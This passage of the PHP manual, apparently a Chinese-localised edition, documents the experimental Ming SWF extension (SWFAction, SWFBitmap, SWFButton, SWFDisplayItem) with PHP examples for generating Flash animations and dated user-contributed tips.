  $m->add(new SWFAction("
    startDrag('/mouse', 1); /* '1' means lock sprite to the mouse */
  "));

  /* might as well turn off antialiasing, since these are just squares. */

  $m->add(new SWFAction("
    this.quality = 0;
  "));

  /* morphing box */
  $r = new SWFMorph();
  $s = $r->getShape1();

  /* Note this is backwards from normal shapes.  No idea why. */
  $s->setLeftFill($s->addFill(0xff, 0xff, 0xff));
  $s->movePenTo(-40, -40);
  $s->drawLine(80, 0);
  $s->drawLine(0, 80);
  $s->drawLine(-80, 0);
  $s->drawLine(0, -80);

  $s = $r->getShape2();

  $s->setLeftFill($s->addFill(0x00, 0x00, 0x00));
  $s->movePenTo(-1, -1);
  $s->drawLine(2, 0);
  $s->drawLine(0, 2);
  $s->drawLine(-2, 0);
  $s->drawLine(0, -2);

  /* sprite container for morphing box -
     this is just a timeline w/ the box morphing */

  $box = new SWFSprite();
  $box->add(new SWFAction("
    stop();
  "));
  $i = $box->add($r);

  for ($n=0; $n<=20; ++$n) {
    $i->setRatio($n/20);
    $box->nextFrame();
  }

  /* this container sprite allows us to use the same action code many times */

  $cell = new SWFSprite();
  $i = $cell->add($box);
  $i->setName('box');

  $cell->add(new SWFAction("

    setTarget('box');

    /* ...x means the x coordinate of the parent, i.e. (..).x */
    dx = (/mouse.x + random(6)-3 - ...x)/5;
    dy = (/mouse.y + random(6)-3 - ...y)/5;
    gotoFrame(int(dx*dx + dy*dy));

  "));

  $cell->nextFrame();
  $cell->add(new SWFAction("

    gotoFrame(0);
    play();

  "));

  $cell->nextFrame();

  /* finally, add a bunch of the cells to the movie */

  for ($x=0; $x<12; ++$x) {
    for ($y=0; $y<8; ++$y) {
      $i = $m->add($cell);
      $i->moveTo(100*$x+50, 100*$y+50);
    }
  }

  $m->nextFrame();

  $m->add(new SWFAction("

    gotoFrame(1);
    play();

  "));

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

Same as above, but with nice colored balls...

例子 3. swfaction() example

<?php

  $m = new SWFMovie();
  $m->setDimension(11000, 8000);
  $m->setBackground(0x00, 0x00, 0x00);

  $m->add(new SWFAction("

this.quality = 0;
/frames.visible = 0;
startDrag('/mouse', 1);

  "));

  // mouse tracking sprite
  $t = new SWFSprite();
  $i = $m->add($t);
  $i->setName('mouse');

  $g = new SWFGradient();
  $g->addEntry(0, 0xff, 0xff, 0xff, 0xff);
  $g->addEntry(0.1, 0xff, 0xff, 0xff, 0xff);
  $g->addEntry(0.5, 0xff, 0xff, 0xff, 0x5f);
  $g->addEntry(1.0, 0xff, 0xff, 0xff, 0);

  // gradient shape thing
  $s = new SWFShape();
  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.03);
  $s->setRightFill($f);
  $s->movePenTo(-600, -600);
  $s->drawLine(1200, 0);
  $s->drawLine(0, 1200);
  $s->drawLine(-1200, 0);
  $s->drawLine(0, -1200);

  // need to make this a sprite so we can multColor it
  $p = new SWFSprite();
  $p->add($s);
  $p->nextFrame();

  // put the shape in here, each frame a different color
  $q = new SWFSprite();
  $q->add(new SWFAction("gotoFrame(random(7)+1); stop();"));
  $i = $q->add($p);

  $i->multColor(1.0, 1.0, 1.0);
  $q->nextFrame();
  $i->multColor(1.0, 0.5, 0.5);
  $q->nextFrame();
  $i->multColor(1.0, 0.75, 0.5);
  $q->nextFrame();
  $i->multColor(1.0, 1.0, 0.5);
  $q->nextFrame();
  $i->multColor(0.5, 1.0, 0.5);
  $q->nextFrame();
  $i->multColor(0.5, 0.5, 1.0);
  $q->nextFrame();
  $i->multColor(1.0, 0.5, 1.0);
  $q->nextFrame();

  // finally, this one contains the action code
  $p = new SWFSprite();
  $i = $p->add($q);
  $i->setName('frames');
  $p->add(new SWFAction("

dx = (/:mousex-/:lastx)/3 + random(10)-5;
dy = (/:mousey-/:lasty)/3;
x = /:mousex;
y = /:mousey;
alpha = 100;

  "));
  $p->nextFrame();

  $p->add(new SWFAction("

this.x = x;
this.y = y;
this.alpha = alpha;
x += dx;
y += dy;
dy += 3;
alpha -= 8;

  "));
  $p->nextFrame();

  $p->add(new SWFAction("prevFrame(); play();"));
  $p->nextFrame();

  $i = $m->add($p);
  $i->setName('frames');
  $m->nextFrame();

  $m->add(new SWFAction("

lastx = mousex;
lasty = mousey;
mousex = /mouse.x;
mousey = /mouse.y;

++num;

if (num == 11)
  num = 1;

removeClip('char' & num);
duplicateClip(/frames, 'char' & num, num);

  "));

  $m->nextFrame();
  $m->add(new SWFAction("prevFrame(); play();"));

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
julien/*AT*/theoconcept.com
27-Jan-2006 02:41
fscommand, the proper way to call a javascript function from a flash animation seems not to work in Ming at the moment, here is a commented example on how to do that :

http://blog.theoconcept.com/flashlink.php
ifrost at uos dot de
25-Oct-2004 09:50
If you want to open an URL in a new window, define a shape ($ashape) and use this code:

<?php
$b = new SWFButton();
$b->addShape($ashape, SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
$b->addAction(
   new SWFAction(
   'getURL("http://www.php.net","_blank");' // _blank is the target like in html
   ), SWFBUTTON_MOUSEDOWN
);
?>

But if you want it in the same window use this addAction():

<?php
$b->addAction(
   new SWFAction(
   'this.getURL("http://www.php.net");'
   ), SWFBUTTON_MOUSEDOWN
);
?>
jerryscript at aol dot com
05-Jan-2004 10:28
Ming 0.3 (current cvs) can use most MX actionscript, just set the swf version to 6

ming_useswfversion(6);
Anze
04-Nov-2003 04:45
fscommand() doesn't work (at least in Ming 0.2a), but there is a workaround.
Instead of:
 fscommand("do","something");
use:
 getURL("fscommand:do","something");
jamesNOSPAMbarros at hotNOSPAMmail dot com
14-Sep-2002 02:35
Printing Flash Movies

When a browser tries to print flash, the autoscaling can make it look ugly. users have to right click on the flash and select "print" to get it to print properly. (so that thier flash player is handling the printing, not the browser) If you dont want to require this of your users, you can create a print button with the following action:

getURL('print:', '/');

by default, this prints ALL frames. to avoid this, just put:

$m->labelFrame("#p");
before:
$m->nextFrame();

where $m is your SWFMovie. the #p label denotes a printable frame. (this also allows you to build your movie, then throw the print button into the next frame and not have it show up when you print. )
diem at writeme dot com
06-Feb-2002 01:11
Sorry Guys ....
the /box.x syntax is for fash version 4 ... and _root.box._x is used for flash version 5 ....
Ming >= 0.2 assumes version 5 by default .... to use version 4 syntax, you must use ming_useswfversion before ...
diem at writeme dot com
01-Feb-2002 07:40
... hummm ... just /box._x won't work ... sorry .... .. I used SWFAction('setTarget("box"); _x += 3;');
Same when using _rotation, _y , and so on ...

[]'s
diem at writeme dot com
01-Feb-2002 07:16
Warning .....
To use Flash 5 properties like x,y and rotation ... you can't use /box.x as described above .. use box._x <note for underscore>. Same happens with y and rotation ...
Hope this help someone ..... :o)
add a note add a note

后退 | 起点 | 前进
ming_useswfversion | 上一级 | SWFBitmap->getHeight


SWFBitmap->getHeight

(no version information, might be only in CVS)

SWFBitmap->getHeight -- Returns the bitmap's height

Description

float swfbitmap->getheight ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbitmap->getheight() returns the bitmap's height in pixels.

See also swfbitmap->getwidth().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFAction | 上一级 | SWFBitmap->getWidth


SWFBitmap->getWidth

(no version information, might be only in CVS)

SWFBitmap->getWidth -- Returns the bitmap's width

Description

float swfbitmap->getwidth ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbitmap->getwidth() returns the bitmap's width in pixels.

See also swfbitmap->getheight().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFBitmap->getHeight | 上一级 | SWFBitmap


SWFBitmap

(PHP 4 >= 4.0.5)

SWFBitmap -- Loads Bitmap object

Description

SWFBitmap swfbitmap ( mixed file [, mixed alphafile] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbitmap() creates a new SWFBitmap object from the Jpeg or DBL file in file. alphafile is a MSK file to be used as an alpha mask for a Jpeg image. Both parameters can be fopen() resources or binary strings.

注: We can only deal with baseline (frame 0) jpegs, no baseline optimized or progressive scan jpegs!

SWFBitmap has the following methods : swfbitmap->getwidth() and swfbitmap->getheight().

You can't import png images directly, though- have to use the png2dbl utility to make a dbl ("define bits lossless") file from the png. The reason for this is that I don't want a dependency on the png library in ming- autoconf should solve this, but that's not set up yet.

例子 1. Import PNG files

<?php
  $s = new SWFShape();
  $f = $s->addFill(new SWFBitmap(file_get_contents("png.dbl")));
  $s->setRightFill($f);

  $s->drawLine(32, 0);
  $s->drawLine(0, 32);
  $s->drawLine(-32, 0);
  $s->drawLine(0, -32);

  $m = new SWFMovie();
  $m->setDimension(32, 32);
  $m->add($s);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

And you can put an alpha mask on a jpeg fill.

例子 2. swfbitmap() example

<?php

  $s = new SWFShape();

  // .msk file generated with "gif2mask" utility
  $f = $s->addFill(new SWFBitmap(file_get_contents("alphafill.jpg"), file_get_contents("alphafill.msk")));
  $s->setRightFill($f);

  $s->drawLine(640, 0);
  $s->drawLine(0, 480);
  $s->drawLine(-640, 0);
  $s->drawLine(0, -480);

  $c = new SWFShape();
  $c->setRightFill($c->addFill(0x99, 0x99, 0x99));
  $c->drawLine(40, 0);
  $c->drawLine(0, 40);
  $c->drawLine(-40, 0);
  $c->drawLine(0, -40);

  $m = new SWFMovie();
  $m->setDimension(640, 480);
  $m->setBackground(0xcc, 0xcc, 0xcc);

  // draw checkerboard background
  for ($y=0; $y<480; $y+=40) {
    for ($x=0; $x<640; $x+=80) {
      $i = $m->add($c);
      $i->moveTo($x, $y);
    }

    $y+=40;

    for ($x=40; $x<640; $x+=80) {
      $i = $m->add($c);
      $i->moveTo($x, $y);
    }
  }

  $m->add($s);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
julien / at / theoconcept.com
30-Jan-2006 06:36
If you're trying to use an image generated by PHP, remember that imagejpeg outputs an interlaced image by default, which is NOT accepted by SWFBitmap.

You have to use imageinterlace($ImageHandle, 0); to make it compatible.
ukocolu at yahoo dot com
09-Apr-2002 03:45
You may want to use flashwriter that is written by Stefan Schler an excellent image2swf converter.
http://www.stefanschuessler.de
lievenstandaert at hotmail dot com
16-Aug-2001 02:45
... that is, unless you're using the version of the ming library distributed with php 4.0.6, in that case go with the manual
hotkey at hehe dot com
22-May-2001 02:52
To insert bitmaps, don't use the as syntax given in this documentation, due to OPAQUE changed the usage of SWFBitmaps: You need to give binary data as argument! In addition to that, you can now just "swf->add()" Bitmaps; you don't need to create a rect-shape and fill it.

So just try this:
==================
$fp = fopen($filename,"r");
$i = fread($fp,999999);
$img = new SWFBitmap($i); #don't give "fread(...)" as argument, but buffer it.
fclose($fp);

$swf->add($img);  #this will create a shape with perfect proportions and fills it
=================

Hope, that will prevent some suicides of desperate coders...  ;)

HotKey - http://www.SPR.AT
add a note add a note

后退 | 起点 | 前进
SWFBitmap->getWidth | 上一级 | swfbutton_keypress


swfbutton_keypress

(PHP 4 >= 4.0.5)

swfbutton_keypress -- Returns the action flag for keyPress(char)

Description

int swfbutton_keypress ( string str )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFBitmap | 上一级 | SWFbutton->addAction


SWFbutton->addAction

(no version information, might be only in CVS)

SWFbutton->addAction -- Adds an action

Description

void swfbutton->addaction ( resource action, int flags )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->addaction() adds the action action to this button for the given conditions. The following flags are valid: SWFBUTTON_MOUSEOVER, SWFBUTTON_MOUSEOUT, SWFBUTTON_MOUSEUP, SWFBUTTON_MOUSEUPOUTSIDE, SWFBUTTON_MOUSEDOWN, SWFBUTTON_DRAGOUT and SWFBUTTON_DRAGOVER.

See also swfbutton->addshape() and swfaction().

add a note add a note User Contributed Notes
T_wigg
22-Sep-2003 12:41
I had a hard time finding a way to stop a sprite, so I figured I would post it.

     $button = new SWFButton();
     $button->addShape($box, SWFBUTTON_UP | SWFBUTTON_HIT | SWFBUTTON_OVER | SWFBUTTON_DOWN);
     $button->addAction(new SWFAction("
         setTarget('box');
         stop();
     "), SWFBUTTON_MOUSEUP);

     $item = $movie->add($button);

This works the same way with play();
add a note add a note

后退 | 起点 | 前进
swfbutton_keypress | 上一级 | SWFbutton->addShape


SWFbutton->addShape

(no version information, might be only in CVS)

SWFbutton->addShape -- Adds a shape to a button

Description

void swfbutton->addshape ( resource shape, int flags )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->addshape() adds the shape shape to this button. The following flags' values are valid: SWFBUTTON_UP, SWFBUTTON_OVER, SWFBUTTON_DOWN or SWFBUTTON_HIT. SWFBUTTON_HIT isn't ever displayed, it defines the hit region for the button. That is, everywhere the hit shape would be drawn is considered a "touchable" part of the button.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->addAction | 上一级 | SWFbutton->setAction


SWFbutton->setAction

(no version information, might be only in CVS)

SWFbutton->setAction -- Sets the action

Description

void swfbutton->setaction ( resource action )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->setaction() sets the action to be performed when the button is clicked. Alias for addAction(shape, SWFBUTTON_MOUSEUP). action is a swfaction().

See also swfbutton->addshape() and swfaction().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->addShape | 上一级 | SWFbutton->setdown


SWFbutton->setdown

(no version information, might be only in CVS)

SWFbutton->setdown -- Alias for addShape(shape, SWFBUTTON_DOWN)

Description

void swfbutton->setdown ( resource shape )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->setdown() alias for addShape(shape, SWFBUTTON_DOWN).

See also swfbutton->addshape() and swfaction().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->setAction | 上一级 | SWFbutton->setHit


SWFbutton->setHit

(no version information, might be only in CVS)

SWFbutton->setHit -- Alias for addShape(shape, SWFBUTTON_HIT)

Description

void swfbutton->sethit ( resource shape )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->sethit() alias for addShape(shape, SWFBUTTON_HIT).

See also swfbutton->addshape() and swfaction().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->setdown | 上一级 | SWFbutton->setOver


SWFbutton->setOver

(no version information, might be only in CVS)

SWFbutton->setOver -- Alias for addShape(shape, SWFBUTTON_OVER)

Description

void swfbutton->setover ( resource shape )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->setover() alias for addShape(shape, SWFBUTTON_OVER).

See also swfbutton->addshape() and swfaction().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->setHit | 上一级 | SWFbutton->setUp


SWFbutton->setUp

(no version information, might be only in CVS)

SWFbutton->setUp -- Alias for addShape(shape, SWFBUTTON_UP)

Description

void swfbutton->setup ( resource shape )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton->setup() alias for addShape(shape, SWFBUTTON_UP).

See also swfbutton->addshape() and swfaction().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->setOver | 上一级 | SWFbutton


SWFbutton

(PHP 4 >= 4.0.5)

SWFbutton -- Creates a new Button

Description

SWFButton swfbutton ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfbutton() creates a new Button. Roll over it, click it, see it call action code. Swank.

SWFButton has the following methods : swfbutton->addshape(),
swfbutton->setup(), swfbutton->setover()
swfbutton->setdown(), swfbutton->sethit()
swfbutton->setaction() and
swfbutton->addaction().

This simple example will show your usual interactions with buttons : rollover, rollon, mouseup, mousedown, noaction.

例子 1. swfbutton() example

<?php

  $f = new SWFFont("_serif");

  $p = new SWFSprite();

  function label($string)
  {
    global $f;

    $t = new SWFTextField();
    $t->setFont($f);
    $t->addString($string);
    $t->setHeight(200);
    $t->setBounds(3200, 200);
    return $t;
  }

  function addLabel($string)
  {
    global $p;

    $i = $p->add(label($string));
    $p->nextFrame();
    $p->remove($i);
  }

  $p->add(new SWFAction("stop();"));
  addLabel("NO ACTION");
  addLabel("SWFBUTTON_MOUSEUP");
  addLabel("SWFBUTTON_MOUSEDOWN");
  addLabel("SWFBUTTON_MOUSEOVER");
  addLabel("SWFBUTTON_MOUSEOUT");
  addLabel("SWFBUTTON_MOUSEUPOUTSIDE");
  addLabel("SWFBUTTON_DRAGOVER");
  addLabel("SWFBUTTON_DRAGOUT");

  function rect($r, $g, $b)
  {
    $s = new SWFShape();
    $s->setRightFill($s->addFill($r, $g, $b));
    $s->drawLine(600, 0);
    $s->drawLine(0, 600);
    $s->drawLine(-600, 0);
    $s->drawLine(0, -600);

    return $s;
  }

  $b = new SWFButton();
  $b->addShape(rect(0xff, 0, 0), SWFBUTTON_UP | SWFBUTTON_HIT);
  $b->addShape(rect(0, 0xff, 0), SWFBUTTON_OVER);
  $b->addShape(rect(0, 0, 0xff), SWFBUTTON_DOWN);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(1);"),
            SWFBUTTON_MOUSEUP);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(2);"),
        SWFBUTTON_MOUSEDOWN);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(3);"),
        SWFBUTTON_MOUSEOVER);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(4);"),
        SWFBUTTON_MOUSEOUT);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(5);"),
        SWFBUTTON_MOUSEUPOUTSIDE);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(6);"),
        SWFBUTTON_DRAGOVER);

  $b->addAction(new SWFAction("setTarget('/label'); gotoFrame(7);"),
        SWFBUTTON_DRAGOUT);

  $m = new SWFMovie();
  $m->setDimension(4000, 3000);

  $i = $m->add($p);
  $i->setName("label");
  $i->moveTo(400, 1900);

  $i = $m->add($b);
  $i->moveTo(400, 900);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

This simple example will enables you to drag draw a big red button on the windows. No drag-and-drop, just moving around.

例子 2. swfbutton->addaction() example

<?php

  $s = new SWFShape();
  $s->setRightFill($s->addFill(0xff, 0, 0));
  $s->drawLine(1000,0);
  $s->drawLine(0,1000);
  $s->drawLine(-1000,0);
  $s->drawLine(0,-1000);

  $b = new SWFButton();
  $b->addShape($s, SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);

  $b->addAction(new SWFAction("startDrag('/test', 0);"), // '0' means don't lock to mouse
        SWFBUTTON_MOUSEDOWN);

  $b->addAction(new SWFAction("stopDrag();"),
        SWFBUTTON_MOUSEUP | SWFBUTTON_MOUSEUPOUTSIDE);

  $p = new SWFSprite();
  $p->add($b);
  $p->nextFrame();

  $m = new SWFMovie();
  $i = $m->add($p);
  $i->setName('test');
  $i->moveTo(1000,1000);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton->setUp | 上一级 | SWFDisplayItem->addColor


SWFDisplayItem->addColor

(no version information, might be only in CVS)

SWFDisplayItem->addColor -- Adds the given color to this item's color transform

Description

void swfdisplayitem->addcolor ( int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->addcolor() adds the color to this item's color transform. The color is given in its RGB form.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFbutton | 上一级 | SWFDisplayItem->move


SWFDisplayItem->move

(no version information, might be only in CVS)

SWFDisplayItem->move -- Moves object in relative coordinates

Description

void swfdisplayitem->move ( int dx, int dy )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->move() moves the current object by (dx,dy) from its current position.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also swfdisplayitem->moveto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->addColor | 上一级 | SWFDisplayItem->moveTo


SWFDisplayItem->moveTo

(no version information, might be only in CVS)

SWFDisplayItem->moveTo -- Moves object in global coordinates

Description

void swfdisplayitem->moveto ( int x, int y )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->moveto() moves the current object to (x,y) in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also swfdisplayitem->move().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->move | 上一级 | SWFDisplayItem->multColor


SWFDisplayItem->multColor

(no version information, might be only in CVS)

SWFDisplayItem->multColor -- Multiplies the item's color transform

Description

void swfdisplayitem->multcolor ( int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->multcolor() multiplies the item's color transform by the given values.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

This simple example will modify your picture's atmosphere to Halloween (use a landscape or bright picture).

例子 1. swfdisplayitem->multcolor() example

<?php

  $b = new SWFBitmap(file_get_contents("backyard.jpg"));
  // note use your own picture :-)
  $s = new SWFShape();
  $s->setRightFill($s->addFill($b));
  $s->drawLine($b->getWidth(), 0);
  $s->drawLine(0, $b->getHeight());
  $s->drawLine(-$b->getWidth(), 0);
  $s->drawLine(0, -$b->getHeight());

  $m = new SWFMovie();
  $m->setDimension($b->getWidth(), $b->getHeight());

  $i = $m->add($s);

  for ($n=0; $n<=20; ++$n) {
    $i->multColor(1.0-$n/10, 1.0, 1.0);
    $i->addColor(0xff*$n/20, 0, 0);
    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->moveTo | 上一级 | SWFDisplayItem->remove


SWFDisplayItem->remove

(no version information, might be only in CVS)

SWFDisplayItem->remove -- Removes the object from the movie

Description

void swfdisplayitem->remove ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->remove() removes this object from the movie's display list.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also swfmovie->add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->multColor | 上一级 | SWFDisplayItem->Rotate


SWFDisplayItem->Rotate

(no version information, might be only in CVS)

SWFDisplayItem->Rotate -- Rotates in relative coordinates

Description

void swfdisplayitem->rotate ( float ddegrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->rotate() rotates the current object by ddegrees degrees from its current rotation.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also swfdisplayitem->rotateto().

add a note add a note User Contributed Notes
alan_k at hklc dot com
31-Jul-2001 11:01
if you are looking to place 'rotated text' (not animated)
create the text without a location
then add it to the movie
$di = $movie->add($my_text_object);
then move and rotate the result.
$di->moveto($x,$y);
$di->rotate(90);
add a note add a note

后退 | 起点 | 前进
SWFDisplayItem->remove | 上一级 | SWFDisplayItem->rotateTo


SWFDisplayItem->rotateTo

(no version information, might be only in CVS)

SWFDisplayItem->rotateTo -- Rotates the object in global coordinates

Description

void swfdisplayitem->rotateto ( float degrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->rotateto() set the current object rotation to degrees degrees in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

This example bring three rotating string from the background to the foreground. Pretty nice.

例子 1. swfdisplayitem->rotateto() example

<?php
  $thetext =  "ming!";

  $f = new SWFFont("Bauhaus 93.fdb");

  $m = new SWFMovie();
  $m->setRate(24.0);
  $m->setDimension(2400, 1600);
  $m->setBackground(0xff, 0xff, 0xff);

  // functions with huge numbers of arbitrary
  // arguments are always a good idea!  Really!

  function text($r, $g, $b, $a, $rot, $x, $y, $scale, $string)
  {
    global $f, $m;

    $t = new SWFText();
    $t->setFont($f);
    $t->setColor($r, $g, $b, $a);
    $t->setHeight(960);
    $t->moveTo(-($f->getWidth($string))/2, $f->getAscent()/2);
    $t->addString($string);

    // we can add properties just like a normal PHP var,
    // as long as the names aren't already used.
    // e.g., we can't set $i->scale, because that's a function

    $i = $m->add($t);
    $i->x = $x;
    $i->y = $y;
    $i->rot = $rot;
    $i->s = $scale;
    $i->rotateTo($rot);
    $i->scale($scale, $scale);

    // but the changes are local to the function, so we have to
    // return the changed object.  kinda weird..

    return $i;
}

  function step($i)
  {
    $oldrot = $i->rot;
    $i->rot = 19*$i->rot/20;
    $i->x = (19*$i->x + 1200)/20;
    $i->y = (19*$i->y + 800)/20;
    $i->s = (19*$i->s + 1.0)/20;

    $i->rotateTo($i->rot);
    $i->scaleTo($i->s, $i->s);
    $i->moveTo($i->x, $i->y);

    return $i;
  }

  // see?  it sure paid off in legibility:

  $i1 = text(0xff, 0x33, 0x33, 0xff, 900, 1200, 800, 0.03, $thetext);
  $i2 = text(0x00, 0x33, 0xff, 0x7f, -560, 1200, 800, 0.04, $thetext);
  $i3 = text(0xff, 0xff, 0xff, 0x9f, 180, 1200, 800, 0.001, $thetext);

  for ($i=1; $i<=100; ++$i) {
    $i1 = step($i1);
    $i2 = step($i2);
    $i3 = step($i3);

    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

See also swfdisplayitem->rotate().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->Rotate | 上一级 | SWFDisplayItem->scale


SWFDisplayItem->scale

(no version information, might be only in CVS)

SWFDisplayItem->scale -- Scales the object in relative coordinates

Description

void swfdisplayitem->scale ( int dx, int dy )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->scale() scales the current object by (dx,dy) from its current size.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also swfdisplayitem->scaleto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->rotateTo | 上一级 | SWFDisplayItem->scaleTo


SWFDisplayItem->scaleTo

(no version information, might be only in CVS)

SWFDisplayItem->scaleTo -- Scales the object in global coordinates

Description

void swfdisplayitem->scaleto ( int x [, int y] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->scaleto() scales the current object to (x,y) in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also swfdisplayitem->scale().

add a note add a note User Contributed Notes
Julien Sjourn
19-Jul-2004 08:23
It's good to know that when you do "$i->scaleTo(0,0)", it doesn't output an "empty object" ( nothing... ) on the screen, but the object with its original dimensions.
13-Sep-2003 10:43
after a shape etc. has been added, the refence to the DisplayItem is returned:
             $displayItem = $sprite->add($shape);
             $displayItem->scaleTo(0.1,0.1);

the above scales it to 0.1 of whatever its original size was
add a note add a note

后退 | 起点 | 前进
SWFDisplayItem->scale | 上一级 | SWFDisplayItem->setDepth


SWFDisplayItem->setDepth

(no version information, might be only in CVS)

SWFDisplayItem->setDepth -- Sets z-order

Description

void swfdisplayitem->setdepth ( float depth )

警告

